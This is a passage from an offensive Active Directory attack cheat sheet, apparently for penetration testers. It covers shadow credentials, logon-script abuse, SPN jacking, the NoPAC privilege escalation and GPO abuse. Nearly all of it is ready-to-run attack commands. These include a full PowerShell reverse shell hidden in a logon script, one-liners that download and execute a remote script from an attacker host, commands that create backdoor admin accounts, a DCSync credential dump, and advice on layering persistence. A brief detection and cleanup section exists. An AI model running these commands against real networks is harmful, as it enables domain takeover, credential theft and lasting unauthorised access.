# Check specific rights on target
python3 dacledit.py -principal <attacker> -target <victim> -dc-ip <dc-ip> <domain>/<user>:'<password>'
# Look for: GenericAll, GenericWrite, or WriteProperty on msDS-KeyCredentialLink
Shadow Credentials Exploitation¶
Windows with Whisker¶
Whisker - Windows Shadow Credentials Tool
# List existing shadow credentials
.\Whisker.exe list /target:<victim>
# Add shadow credentials (auto-generate certificate)
.\Whisker.exe add /target:<victim>
# Outputs: Certificate (Base64), Password, and Rubeus command
# Remove specific shadow credential
.\Whisker.exe remove /target:<victim> /deviceid:<device-id>
# Clear all shadow credentials (DANGEROUS!)
.\Whisker.exe clear /target:<victim>
Rubeus - Extract TGT and NTLM Hash
# Use output from Whisker to get TGT and NTLM
.\Rubeus.exe asktgt /user:<victim> /certificate:<base64-cert> /password:"<cert-pass>" /domain:<domain> /dc:<dc-fqdn> /getcredentials /show /nowrap
# Pass the ticket
.\Rubeus.exe ptt /ticket:<base64-ticket>
Linux with pyWhisker¶
pyWhisker - Linux Shadow Credentials Tool
# Install pyWhisker
git clone https://github.com/ShutdownRepo/pywhisker
cd pywhisker && pip3 install -r requirements.txt
# Add shadow credentials
python3 pywhisker.py -d <domain> -u <attacker> -p '<password>' --target <victim> --action add
# List shadow credentials
python3 pywhisker.py -d <domain> -u <attacker> -p '<password>' --target <victim> --action list
# Remove specific credential
python3 pywhisker.py -d <domain> -u <attacker> -p '<password>' --target <victim> --action remove --device-id <device-id>
PKINITtools - Get TGT and NTLM
# Get TGT using certificate from pyWhisker
python3 PKINITtools/gettgtpkinit.py -cert-pfx <pfx-file> -pfx-pass <password> <domain>/<victim> <victim>.ccache
# Extract NTLM hash from TGT
KRB5CCNAME=<victim>.ccache python3 PKINITtools/getnthash.py -key <as-rep-key> <domain>/<victim>
# Use TGT for authentication
KRB5CCNAME=<victim>.ccache impacket-smbclient -k -no-pass <dc-fqdn>
BloodyAD & Certipy-AD¶
BloodyAD Shadow Credentials Attack
# Add shadow credentials (automated)
bloodyAD --host <dc-ip> -d <domain> -u <attacker> -p '<password>' add shadowCredentials <victim>
# Get certificate details
bloodyAD --host <dc-ip> -d <domain> -u <attacker> -p '<password>' get shadowCredentials <victim>
Certipy-AD Automated Shadow Credentials
# Auto mode - finds and exploits shadow credential paths
certipy-ad shadow auto -u <attacker>@<domain> -p '<password>' -dc-ip <dc-ip> -target <victim>
# Manual add shadow credentials
certipy-ad shadow add -u <attacker>@<domain> -p '<password>' -dc-ip <dc-ip> -target <victim>
# Get NTLM hash using certificate
certipy-ad auth -pfx <victim>.pfx -domain <domain> -dc-ip <dc-ip> -get-tgt
Logon Script (ScriptPath) Abuse¶
Overview¶
Logon Scripts in Active Directory
Logon scripts execute automatically when users authenticate to the domain, providing opportunities for:
- Code execution as target user: Scripts run in user context
- Persistence mechanism: Executes on every logon
- Two implementation methods:
- Legacy: Via
scriptPathattribute (stored in NETLOGON) - Modern: Via Group Policy (more flexible, supports PowerShell)
- Legacy: Via
- Supported formats:
.bat,.cmd,.vbs,.exe, KiXtart
ScriptPath Enumeration¶
Windows Enumeration¶
PowerView ScriptPath Discovery
# Find users with scriptPath configured
Get-DomainUser -Properties scriptpath | Where-Object {$_.scriptpath -ne $null} | Select samaccountname,scriptpath
# Check who can modify scriptPath
$userSID = (Get-DomainUser -Identity <attacker>).objectsid
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID -and $_.ObjectAceType -match "Script-Path"}
ScriptSentry - Automated Script Misconfiguration Discovery
# Download and run ScriptSentry
IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/techspence/ScriptSentry/main/Invoke-ScriptSentry.ps1')
Invoke-ScriptSentry
# Checks for:
# - Unsafe NETLOGON permissions
# - Writable logon scripts
# - Plaintext credentials in scripts
# - GPO script misconfigurations
Linux Enumeration¶
PywerView ScriptPath Enumeration
# Install PywerView
sudo apt install libkrb5-dev -y
git clone https://github.com/the-useless-one/pywerview.git
cd pywerview && pip3 install -r requirements.txt
# Get scriptPath ACEs with JSON filtering
python3 pywerview.py get-objectacl --name '<target>' -w <domain> -t <dc-ip> -u '<user>' -p '<password>' --resolve-sids --resolve-guids --json | jq '.results | map(select(.securityidentifier | contains("<attacker>")))'
BloodyAD ScriptPath Enumeration
# Get current scriptPath value
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get object <target> --attr scriptPath
# Find users with scriptPath set
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get search --filter '(scriptPath=*)' --attr sAMAccountName,scriptPath
ScriptPath Exploitation¶
Step 1: Enumerate NETLOGON Permissions¶
Linux - NETLOGON Permission Check
# List NETLOGON contents
smbclient //<dc-ip>/NETLOGON -U <user>%'<password>' -c "ls"
# Check permissions on folders
smbcacls //<dc-ip>/NETLOGON /<folder> -U <user>%'<password>'
# Look for: RWX permissions
# Alternative with smbmap
smbmap -H <dc-ip> -u <user> -p '<password>' -r NETLOGON
Step 2: Create Payload Script¶
PowerShell Reverse Shell Payloads
# Generate base64 encoded PowerShell reverse shell
python3 -c 'import base64; print(base64.b64encode(r"""$client = New-Object System.Net.Sockets.TCPClient("<attacker-ip>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""".encode("utf-16-le")).decode())'
# Create .bat payload
echo 'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <base64-payload>' > logonScript.bat
Step 3: Upload and Set ScriptPath¶
Linux - Upload and Modify ScriptPath
# Upload to writable folder in NETLOGON
smbclient //<dc-ip>/NETLOGON --directory <writable-folder> -U <user>%'<password>' -c "put logonScript.bat"
# Method 1: ldapmodify
cat > update_script.ldif << EOF
dn: CN=<target>,CN=Users,DC=<domain>,DC=<tld>
changetype: modify
replace: scriptPath
scriptPath: <writable-folder>\logonScript.bat
EOF
ldapmodify -H ldap://<dc-ip> -x -D '<user>@<domain>' -w '<password>' -f update_script.ldif
# Method 2: BloodyAD (recommended)
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set object <target> scriptPath -v '<writable-folder>\logonScript.bat'
# Verify modification
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' get object <target> --attr scriptPath
SPN Jacking Attack¶
Overview¶
SPN Jacking Fundamentals
SPN Jacking is an alternative method to abuse WriteSPN rights by manipulating Constrained Delegation. This technique:
- Mixes DACL abuse with Constrained Delegation: Allows WriteSPN abuse without password cracking
- Reassigns SPNs: Moves SPNs from legitimate servers to attacker-controlled targets
- Two variants:
- Ghost SPN-Jacking: Uses orphaned/deleted SPNs
- Live SPN-Jacking: Temporarily hijacks active SPNs
- Bypasses restrictions: Works around delegation limitations
SPN Jacking Enumeration¶
Windows Enumeration¶
PowerView SPN Enumeration
# Find WriteSPN permissions
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $(ConvertTo-SID <user>) -and $_.ObjectAceType -match "Validated-SPN"}
# Check constrained delegation
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto
# Find orphaned SPNs (Ghost SPN-Jacking)
Import-Module .\Get-ConstrainedDelegation.ps1
Get-ConstrainedDelegation -CheckOrphaned
BloodHound Query for WriteSPN
MATCH p=(n:User)-[r1:WriteSPN*1..]->(c:Computer) RETURN p
Linux Enumeration¶
Impacket findDelegation
# Find delegation configuration
proxychains4 -q findDelegation.py -target-domain <domain> -dc-ip <dc-ip> <domain>/<user>:'<password>'
Ghost SPN-Jacking Exploitation¶
Windows - Ghost SPN-Jacking Attack
# Step 1: Find orphaned SPNs
Get-ConstrainedDelegation -CheckOrphaned
# Step 2: Note target's current SPNs
Get-DomainComputer <target> | Select-Object -ExpandProperty serviceprincipalname
# Step 3: Assign orphaned SPN to target
Set-DomainObject -Identity <target> -Set @{serviceprincipalname='<orphaned-spn>'} -Verbose
# Step 4: Request S4U ticket
.\Rubeus.exe s4u /domain:<domain> /user:<computer>$ /rc4:<hash> /impersonateuser:administrator /msdsspn:"<orphaned-spn>" /nowrap
# Step 5: Modify ticket service name
.\Rubeus.exe tgssub /ticket:<base64-ticket> /altservice:cifs/<target> /nowrap
# Step 6: Pass the ticket
.\Rubeus.exe ptt /ticket:<modified-ticket>
Linux - Ghost SPN-Jacking Attack
# Step 1: Clear target SPNs (if needed)
python3 addspn.py <dc-ip> -u '<domain>\<user>' -p <password> --clear -t '<target> -dc-ip <dc-ip>
# Step 2: Add orphaned SPN to target
python3 addspn.py <dc-ip> -u '<domain>\<user>' -p <password> --spn '<orphaned-spn>' -t '<target> -dc-ip <dc-ip>
# Step 3: Request S4U ticket
getST.py -spn '<orphaned-spn>' -impersonate Administrator '<domain>/<computer> -hashes :<hash> -dc-ip <dc-ip>
# Step 4: Modify ticket (with tgssub branch)
python3 tgssub.py -in <ticket>.ccache -altservice "cifs/<target>" -out newticket.ccache
# Step 5: Use ticket
KRB5CCNAME=newticket.ccache proxychains4 -q smbexec.py -k -no-pass <target>
Live SPN-Jacking Exploitation¶
Live SPN-Jacking Process
# Step 1: Save original SPNs
Get-DomainComputer <original-host> -Properties 'serviceprincipalname' | Select-Object -ExpandProperty serviceprincipalname > original_spns.txt
# Step 2: Clear SPNs from original host
Set-DomainObject -Identity <original-host> -Clear 'serviceprincipalname' -Verbose
# Step 3: Add SPN to target
Set-DomainObject -Identity <target> -Set @{serviceprincipalname='<spn>'} -Verbose
# Step 4: Perform S4U attack
.\Rubeus.exe s4u /domain:<domain> /user:<computer>$ /rc4:<hash> /impersonateuser:administrator /msdsspn:"<spn>" /nowrap
# Step 5: Restore original SPNs
Set-DomainObject -Identity <original-host> -Set @{serviceprincipalname=@('SPN1','SPN2','SPN3')} -Verbose
sAMAccountName Spoofing (NoPAC)¶
Overview¶
NoPAC Attack Fundamentals
The NoPAC attack exploits CVE-2021-42278 and CVE-2021-42287 to perform privilege escalation through sAMAccountName spoofing:
- CVE-2021-42278: Allows changing sAMAccountName without validation
- CVE-2021-42287: KDC appends $ when account not found
- No PAC validation: Vulnerable DCs return TGT without PAC
- Domain compromise: Can impersonate any account including DCs
NoPAC Enumeration¶
Windows Enumeration¶
Check NoPAC Vulnerability
# Check if vulnerable (ticket size < 1000 indicates vulnerability)
.\noPac.exe scan -domain <domain> -user <user> -pass <password>
# Check MachineAccountQuota
(Get-DomainObject -SearchScope Base)."ms-ds-machineaccountquota"
# Check how many machines user created
$computers = Get-DomainComputer -Filter '(ms-DS-CreatorSID=*)' -Properties name,ms-ds-creatorsid
$userComputers = $computers | where { (New-Object System.Security.Principal.SecurityIdentifier($_."ms-ds-creatorsid",0)).Value -eq (ConvertTo-SID <user>) }
$userComputers.Count
Linux Enumeration¶
NoPAC Scanner from Linux
# Clone and run NoPAC scanner
git clone https://github.com/Ridter/noPac
python3 noPac/scanner.py -dc-ip <dc-ip> <domain>/<user>:<password> -use-ldap
# Check with netexec
nxc ldap <dc-ip> -u <user> -p <password> -M nopac
NoPAC Exploitation¶
Windows Exploitation¶
NoPAC Attack from Windows
# Step 1: Create computer account
Import-Module .\Powermad.ps1
$password = ConvertTo-SecureString 'Password123' -AsPlainText -Force
New-MachineAccount -MachineAccount "TEST01" -Password $password -Domain <domain> -DomainController <dc-ip> -Verbose
# Step 2: Clear SPNs
Import-Module .\PowerView.ps1
Set-DomainObject -Identity 'TEST01 -Clear 'serviceprincipalname' -Verbose
# Step 3: Change sAMAccountName to DC name (without $)
Set-MachineAccountAttribute -MachineAccount "TEST01" -Value "dc01" -Attribute samaccountname -Verbose
# Step 4: Request TGT as DC
.\Rubeus.exe asktgt /user:dc01 /password:"Password123" /domain:<domain> /dc:<dc-ip> /nowrap
# Step 5: Revert sAMAccountName
Set-MachineAccountAttribute -MachineAccount "TEST01" -Value "TEST01" -Attribute samaccountname -Verbose
# Step 6: Request S4U ticket to impersonate Administrator
.\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:"ldap/dc01.domain.local" /dc:<dc-ip> /ptt /ticket:<base64-tgt>
# Step 7: DCSync attack
.\mimikatz.exe "lsadump::dcsync /domain:<domain> /kdc:dc01.domain.local /user:krbtgt" exit
Linux Exploitation¶
NoPAC Attack from Linux
# Using user account with GenericAll rights
# Step 1: Clear target SPNs
python3 bloodyAD.py -d <domain> -u <user> -p <password> --host <dc-ip> set object <target> servicePrincipalName
# Step 2: Change sAMAccountName to DC name
python3 bloodyAD.py -d <domain> -u <user> -p <password> --host <dc-ip> set object <target> sAMAccountName -v DC01
# Step 2.5: Update password if required
bloodyAD -d inlanefreight.local -u aneudy -p Ilovemusic01 --host 10.129.55.208 set password dc03 mypass123!
# Step 3: Request TGT
getTGT.py <domain>/dc01:<target-password> -dc-ip <dc-ip>
# Step 4: Revert sAMAccountName (use DN or new name)
python3 bloodyAD.py -d <domain> -u <user> -p <password> --host <dc-ip> set object "CN=<target>,CN=Users,DC=<domain>,DC=<tld>" sAMAccountName -v <original-name>
# Step 5: Request S4U2self ticket
KRB5CCNAME=dc01.ccache getST.py <domain>/dc01 -self -impersonate 'Administrator' -altservice 'cifs/dc01.domain.local' -k -no-pass -dc-ip <dc-ip>
# Step 6: Get shell
KRB5CCNAME=Administrator@cifs_dc01.domain.local@DOMAIN.LOCAL.ccache psexec.py dc01.domain.local -k -no-pass
# If psexec fails, revert to nxc:
nxc smb dc03.inlanefreight.local --use-kcache -x 'Remote Command to be launched'
GPO Attacks¶
Overview¶
Group Policy Object (GPO) Abuse
GPO attacks leverage misconfigured permissions to execute code or modify settings across multiple machines:
- Modify existing GPOs: Change settings in deployed policies
- Create new GPOs: Design malicious policies
- Link GPOs: Apply policies to Sites, Domains, or OUs
- Mass compromise: Affect all computers in GPO scope
GPO Enumeration¶
Windows Enumeration¶
PowerView GPO Enumeration
# List all GPOs
Get-DomainGPO | Select-Object displayname, name, gpcfilesyspath
# Find where GPOs are linked
# Domain level
Get-DomainObject -SearchScope Base -Properties gplink
# OU level
Get-DomainOU | select name, gplink
# Site level
Get-DomainSite -Properties gplink
# Find who can modify GPOs (non-admin users)
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where {
$_.ActiveDirectoryRights -match "CreateChild|WriteProperty|WriteDacl|WriteOwner" -and
$_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}'
} | select ObjectDN, @{Name='User';Expression={ConvertFrom-SID $_.SecurityIdentifier}}
# Find who can create GPOs
$identity = (Get-DomainGPO).distinguishedname -replace 'CN=\{[A-F0-9-]+\},',''
Get-DomainObjectACL -Identity $identity -ResolveGUIDs | where {
$_.ActiveDirectoryRights -contains "CreateChild" -and
$_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}'
} | foreach { ConvertFrom-SID $_.SecurityIdentifier }
# Find who can link GPOs
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where {
$_.ObjectAceType -eq "GP-Link" -and
$_.ActiveDirectoryRights -match "WriteProperty"
} | select ObjectDN, @{Name='User';Expression={ConvertFrom-SID $_.SecurityIdentifier}}
Automated GPO Enumeration
# Use Get-GPOEnumeration wrapper
Import-Module .\Get-GPOEnumeration.ps1
# Find all GPO misconfigurations
Get-GPOEnumeration
# Check specific permissions
Get-GPOEnumeration -ModifyGPOs # Who can modify GPOs
Get-GPOEnumeration -LinkGPOs # Who can link GPOs
Get-GPOEnumeration -CreateGPO # Who can create GPOs
Linux Enumeration¶
GPOwned Enumeration
# List GPOs
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -listgpo
# List GPO links
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -listgplink
# Check modify rights with dacledit
# Get GPO GUIDs first
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -listgpo | grep "Name:"
# Check rights on each GPO
proxychains4 -q python3 dacledit.py <domain>/<user>:<password> -target-dn "CN={<GUID>},CN=Policies,CN=System,DC=<domain>,DC=<tld>" -dc-ip <dc-ip>
GPO Exploitation¶
Windows Exploitation¶
SharpGPOAbuse - Modify GPO from Windows
# Add local admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <user> --GPOName "<GPO-Name>"
# Add user rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeDebugPrivilege,SeLoadDriverPrivilege" --UserAccount <user> --GPOName "<GPO-Name>"
# Add computer startup script
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net user backdoor Password123 /add" --GPOName "<GPO-Name>"
# Add immediate scheduled task
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Backdoor" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c net user backdoor Password123 /add" --GPOName "<GPO-Name>"
PowerView - Create and Link GPO
# Create new GPO
New-GPO -Name "Evil GPO" -Comment "Totally legitimate"
# Link GPO to OU
New-GPLink -Name "Evil GPO" -Target "OU=Workstations,DC=domain,DC=local"
# Modify GPO with PowerView3 (includes New-GPOImmediateTask)
New-GPOImmediateTask -GPOName "<GPO-Name>" -TaskName "Debug" -Command "powershell.exe" -CommandArguments "-enc <base64-payload>" -Force
Linux Exploitation¶
pyGPOAbuse - Modify GPO from Linux
# Install pyGPOAbuse
git clone https://github.com/Hackndo/pyGPOAbuse
cd pyGPOAbuse && pip3 install -r requirements.txt
# Backup GPO before modification
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -backup backupgpo -name "{<GUID>}"
# Add local admin
proxychains4 -q python3 pygpoabuse.py <domain>/<user>:<password> -gpo-id <GPO-ID> -command "net user hacker Password123 /add && net localgroup Administrators hacker /add" -taskname "Update" -description "System update" -dc-ip <dc-ip> -v
# Execute PowerShell
proxychains4 -q python3 pygpoabuse.py <domain>/<user>:<password> -gpo-id <GPO-ID> -powershell -command "IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')" -taskname "Telemetry" -dc-ip <dc-ip>
GPO Cleanup
# Restore GPO from backup
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -restore backupgpo -name "{<GUID>}"
Complete Attack Decision Matrix¶
Comprehensive ACL & Advanced Attack Reference
| Attack Type | Requirements | Impact | Detection Risk | Tools |
|---|---|---|---|---|
| Shadow Credentials | Write msDS-KeyCredentialLink, AD CS | NTLM hash, persistence | Medium | Whisker, pyWhisker, Certipy |
| ScriptPath Abuse | Write scriptPath, NETLOGON access | Code execution on logon | High | BloodyAD, PowerView |
| SPN Jacking | WriteSPN, Constrained Delegation | Impersonate users | Low-Medium | Rubeus, getST.py |
| NoPAC | Unpatched DC, MAQ > 0 | Domain compromise | High | noPac, BloodyAD |
| GPO Abuse | GPO modify/create/link | Mass compromise | High | SharpGPOAbuse, pyGPOAbuse |
| WriteDACL | WriteDACL on any object | Grant any permission | Medium | dacledit, PowerView |
| WriteOwner | WriteOwner on any object | Full control | Medium | owneredit, PowerView |
| GenericAll | GenericAll on object | Complete control | Low | BloodyAD, PowerView |
| ForceChangePassword | Extended right on user | Account takeover | High | BloodyAD, rpcclient |
| ReadLAPSPassword | Read ms-MCS-AdmPwd | Local admin access | Medium | LAPSDumper, Get-ADComputer |
| ReadGMSAPassword | Read msDS-ManagedPassword | Service account control | Low | gMSADumper, BloodyAD |
Attack Chain Decision Flow
graph TD
A[Initial Access] --> B{What Rights?}
B -->|Write Permissions| C[Advanced Attacks]
C -->|msDS-KeyCredentialLink| D[Shadow Credentials]
C -->|scriptPath| E[Logon Script]
C -->|servicePrincipalName| F[SPN Jacking]
C -->|GPO Rights| G[GPO Abuse]
B -->|Generic Rights| H[Standard Attacks]
H -->|GenericAll/Write| I[Multiple Options]
H -->|WriteDACL| J[Grant Rights]
H -->|WriteOwner| K[Take Ownership]
B -->|Read Rights| L[Information Gathering]
L -->|LAPS| M[Extract Password]
L -->|gMSA| N[Dump Hash]
D --> O[Get NTLM + Persistence]
E --> P[Code Execution]
F --> Q[Delegation Abuse]
G --> R[Mass Compromise]
OPSEC Considerations¶
Detection & Prevention by Attack Type
Shadow Credentials:
- Event 5136: msDS-KeyCredentialLink modified
- Event 4768: PKINIT authentication
- Monitor for new DeviceIDs
ScriptPath Abuse:
- Event 5136: scriptPath attribute modified
- Event 4688: Process creation from NETLOGON
- Monitor SYSVOL/NETLOGON for new files
SPN Jacking:
- Event 5136: servicePrincipalName changes
- Event 4769: Kerberos service ticket requests
- Monitor for SPN modifications on high-value accounts
NoPAC:
- Event 4741: Computer account created
- Event 4742: Computer account changed (sAMAccountName)
- Monitor for DC name spoofing
GPO Attacks:
- Event 5136: GPO modification
- Event 5137: GPO creation
- Event 5141: GPO deletion
- Monitor SYSVOL for changes
Cleanup Commands
# Shadow Credentials cleanup
python3 pywhisker.py -d <domain> -u <user> -p '<password>' --target <victim> --action remove --device-id <device-id>
# ScriptPath cleanup
bloodyAD --host <dc-ip> -d <domain> -u <user> -p '<password>' set object <target> scriptPath -v ''
# SPN restoration
for spn in $(cat original_spns.txt); do
python3 addspn.py <dc-ip> -u '<domain>\<user>' -p <password> -t '<target>' --spn $spn
done
# GPO restoration
proxychains4 -q python3 GPOwned.py -u <user> -p <password> -d <domain> -dc-ip <dc-ip> -gpcmachine -restore backupgpo -name "{<GUID>}"
Complete Tool Setup¶
Core Tools Installation¶
Essential Base Tools
# Impacket suite (with special branches)
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .
# ShutdownRepo's dacledit branch
git clone https://github.com/ShutdownRepo/impacket -b dacledit dacledit-impacket
cd dacledit-impacket && python3 -m venv .venv && source .venv/bin/activate && pip3 install .
# BloodyAD
pip3 install bloodyAD
# Certipy-AD
pip3 install certipy-ad
# NetExec
pip3 install netexec
Advanced Attack Tools¶
Specialized Attack Tools
# Shadow Credentials
git clone https://github.com/ShutdownRepo/pywhisker
git clone https://github.com/dirkjanm/PKINITtools
# SPN Jacking
git clone https://github.com/ShutdownRepo/targetedKerberoast
git clone https://github.com/dirkjanm/krbrelayx # For addspn.py
# NoPAC
git clone https://github.com/Ridter/noPac
# GPO Abuse
git clone https://github.com/Hackndo/pyGPOAbuse
git clone https://github.com/Hackndo/GPOwned
# ScriptPath
git clone https://github.com/the-useless-one/pywerview
# Windows tools
# Whisker: https://github.com/eladshamir/Whisker
# SharpGPOAbuse: https://github.com/FSecureLABS/SharpGPOAbuse
# Rubeus: https://github.com/GhostPack/Rubeus
# PowerView: https://github.com/PowerShellMafia/PowerSploit
# Mimikatz: https://github.com/gentilkiwi/mimikatz
Best Practices & Methodology¶
Complete Attack Methodology
-
Initial Enumeration
# Run comprehensive BloodHound collection bloodhound-python -c All -d <domain> -u <user> -p <password> -dc <dc-ip> # Check all ACL relationships Get-DomainObjectAcl -ResolveGUIDs | Export-Csv acls.csv # Enumerate special attributes Get-DomainUser -Filter * -Properties msDS-KeyCredentialLink,scriptPath,servicePrincipalName -
Identify Attack Paths
- Check for write permissions on key attributes
- Look for delegation configurations
- Identify GPO permissions
- Find orphaned SPNs
-
Check for unpatched vulnerabilities
-
Execute Attacks
- Start with least detectable methods
- Document all changes for rollback
- Use multiple persistence mechanisms
-
Chain attacks for maximum impact
-
Maintain Access
- Shadow Credentials for persistence
- GPO backdoors for mass access
- ScriptPath for recurring execution
-
Multiple account compromises
-
Clean Up
- Restore all modified attributes
- Remove added credentials
- Delete created accounts
- Restore GPO backups
Pro Tips - Advanced Techniques
- Combine attacks: Shadow Creds + GPO = Persistent mass compromise
- Check computer accounts: Often have more rights than users
- Look for service accounts: High privileges, rarely monitored
- Abuse trust relationships: Foreign principals can have ACLs
- Target certificate templates: Often misconfigured with dangerous ACLs
- Use proxychains: Route attacks through compromised hosts
- Automate enumeration: Script repetitive checks across all objects
- Monitor for changes: Set up persistence before making noise
- Document everything: Keep detailed logs for reporting
- Test in lab first: Validate attacks before production use
Quick Command Reference¶
Most Common Attack Commands
# Shadow Credentials - Linux
certipy-ad shadow auto -u <user>@<domain> -p '<pass>' -target <victim>
# Shadow Credentials - Windows
.\Whisker.exe add /target:<victim>
.\Rubeus.exe asktgt /user:<victim> /certificate:<cert> /password:"<pass>" /getcredentials /nowrap
# ScriptPath
bloodyAD --host <dc> -d <domain> -u <user> -p '<pass>' set object <target> scriptPath -v 'evil.bat'
# SPN Jacking
python3 addspn.py <dc> -u '<domain>\<user>' -p <pass> --spn '<spn>' -t '<target>'
getST.py -spn '<spn>' -impersonate Administrator '<domain>/<computer>' -hashes :<hash>
# NoPAC
python3 noPac/scanner.py -dc-ip <dc> <domain>/<user>:<pass> -use-ldap
# GPO Abuse
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <user> --GPOName "<GPO>"
# WriteDACL
impacket-dacledit <domain>/<user>:'<pass>' -principal <user> -target <target> -action write -rights DCSync
# Password Reset
bloodyAD --host <dc> -d <domain> -u <user> -p '<pass>' set password <target> <newpass>
Additional Resources¶
References & Further Reading
Core Techniques: - ACL Abuse Primer - BloodHound Documentation
Advanced Attacks: - Shadow Credentials - SPN Jacking - NoPAC Exploit - GPO Abuse Guide
Tools Documentation: - Impacket - BloodyAD - Certipy - PowerView
Defensive Resources: - Microsoft Security Best Practices - MITRE ATT&CK - Active Directory